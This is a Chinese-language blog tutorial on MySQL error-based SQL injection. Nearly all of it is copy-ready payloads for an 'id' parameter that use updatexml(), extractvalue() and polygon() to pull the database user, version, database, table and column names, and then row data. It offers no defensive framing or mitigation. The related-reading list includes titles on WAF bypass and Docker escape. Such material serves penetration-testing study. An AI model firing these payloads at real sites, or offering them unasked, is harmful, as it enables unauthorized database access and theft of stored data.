• sql注入之报错注入


    sql注入之报错注入

    一、updatexml注入流程

    1. 该函数最大显示长度为32,超过长度可以配合substr,limit等函数
    2. 报错注入不能使用group_concat()函数直接将所有信息获取出来,只能一条一条获取,而且必须使用limit 0,1控制

    在这里插入图片描述

    爆出当前用户名

    id=1' and updatexml('~',concat('~',(select user())),'~') --+
    
    • 1

    爆出MySQL 版本

    id=1' and updatexml('~',concat('~',(select version())),'~') --+
    
    • 1

    爆出当前数据库的库名

    id=1' and updatexml('~',concat('~',(select database())),'~') --+
    
    • 1

    爆出当前数据库的表名

    id=1' and updatexml('~',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),'~') --+
    
    • 1

    爆出某表的列名

    id=1' and updatexml('~',concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1)),'~') --+
    
    • 1

    爆数据

    id=1' and updatexml('~',concat('~',(select concat(列名1,列名2) from 表名 limit 0,1)),'~') --+
    
    • 1

    二、extractvalue()注入流程

    爆出当前用户名

    id=1' and extractvalue(1,concat('~',(select user()))) --+
    
    • 1

    爆出MySQL 版本

    id=1' and extractvalue(1,concat('~',(select version()))) --+
    
    • 1

    爆出当前数据库的库名

    id=1' and extractvalue(1,concat('~',(select database()))) --+
    
    • 1

    爆出当前数据库的表名

    id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+
    
    • 1

    爆出某表的列名

    id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1))) --+
    
    • 1

    爆数据

    id=1' and extractvalue(1,concat('~',(select concat(列名1,列名2) from 表名 limit 0,1))) --+
    
    • 1

    可在concat中添加分隔符 更方便数据的获取

    id=1' and extractvalue(1,concat('~',(select concat(列名1,'~',列名2,'~',列名3) from 表名 limit 0,1))) --+
    
    • 1

    三、polygon()函数

    ?id=1' and polygon(id) --+
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    Mysql--Java的JDBC编程
    网络编程面试笔试真题
    2022年最新青海水利水电施工安全员模拟试题题库及答案
    文件上传绕过最新版安全狗
    ElasticSearch容器化从0到1实践(一)
    c++day1
    云计算之分布式计算
    Halcon WPF 开发学习笔记(4):Halcon 锚点坐标打印
    Vue+Echarts图表动态适配
    Docker逃逸---授权 SYS_ADMIN Capability逃逸原理浅析
  • 原文地址:https://blog.csdn.net/weixin_46329243/article/details/134495232